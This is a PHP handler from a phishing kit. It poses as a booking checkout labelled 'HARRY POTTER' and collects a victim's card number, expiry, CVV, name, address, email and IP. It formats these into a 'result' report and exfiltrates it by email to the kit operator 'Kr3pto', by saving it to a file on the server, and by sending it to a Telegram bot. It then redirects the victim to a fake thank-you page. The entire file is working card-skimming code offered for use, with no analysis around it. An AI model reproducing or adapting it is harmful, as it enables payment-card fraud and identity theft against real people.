<?php
include 'config_file.php';
include 'php/inc.php';
if ( isset($_POST['email']) and isset($_POST['cc_number']) and isset($_POST['expiry']) and isset($_POST['verification_value']) and isset($_POST['name']) and isset($_POST['countryCode']) and isset($_POST['firstName']) and isset($_POST['lastName']) and isset($_POST['address1']) and isset($_POST['city']) and isset($_POST['email']) and isset($_POST['postalCode']) ){
	
	$email = $_POST['email'];
	$cc_number = $_POST['cc_number'];
	$expiry = $_POST['expiry'];
	$verification_value = $_POST['verification_value'];
	$name = $_POST['name'];
	$countryCode = $_POST['countryCode'];
	$firstName = $_POST['firstName'];
	$lastName = $_POST['lastName'];
	$address1 = $_POST['address1'];
	$address2 = $_POST['address2'];
	$city = $_POST['city'];
	$postalCode = $_POST['postalCode'];

$date = date('l d F Y');
$time = date('H:i');
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$os = os_info($useragent);
$browser = browsername();
	
	
	$booking_days = $_SESSION['booking_days'];
	$start_date = $_SESSION['start_date'];
	$end_date = $_SESSION['end_date'];
	$booking_cost = $booking_days * $product_cost;
	
	$result_data = "
	+ ------------- HARRY POTTER --------------+\n
	| Start Date : $start_date\n
	| End Date : $end_date\n
	| Duration : $booking_days Days\n
	| Cost : $booking_cost GBP\n
	+ -------------------------------------------+
	| Holder Name : $name\n
	| Card Number : $cc_number\n
	| Expiry Date : $expiry\n
	| CVV : $verification_value\n
	+ -------------------------------------------+
	| Country : $countryCode\n
	| First Name : $firstName\n
	| Last Name : $lastName\n
	| Address Line #1 : $address1\n
	| Address Line #2 : $address2\n
	| City : $city\n
	| Postcode : $postalCode\n
	| Email Address : $email\n
	+ -------------------------------------------+
	| IP Address : $ip\n
	| User Agent : $useragent\n
	| Browser : $browser\n
	| OS : $os\n
	| Date & Time : $date @ $time\n
	+ ---------------- HARRY POTTER ------------------+";

		if($email_delivery == 1){
			$email_headers = "From:Kr3pto <Kr3ptoLodge@results.co.uk>";
			$email_subj = "Lodge CC $name [ $ip ]";
			mail($to,$email_subj,$result_data,$email_headers);	
		}
		if($saveonhost == 1){
			$fp = fopen("$saveonhost_filename", "a");
			fputs($fp, "\r\n$result_data\r\n");
			fclose($fp);
		}
		if($telegram_delivery == 1){
			telegram_deliver($chat_id,$result_data,$bot_token);
		}

$_SESSION['orderId'] = $orderId = substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', 7)), 0, 7);
$vic_addy = $address1;
if($address2){
	$vic_addy .= ", $address2";
}
$vic_addy .= ", $city, $postalCode";
$_SESSION['vic_addy'] = $vic_addy;
$_SESSION['firstName'] = $firstName;
$_SESSION['lastName'] = $lastName;
$_SESSION['email'] = $email;
header("location:pages/thank-you");
}else{
	die('error');
	exit();
}
?>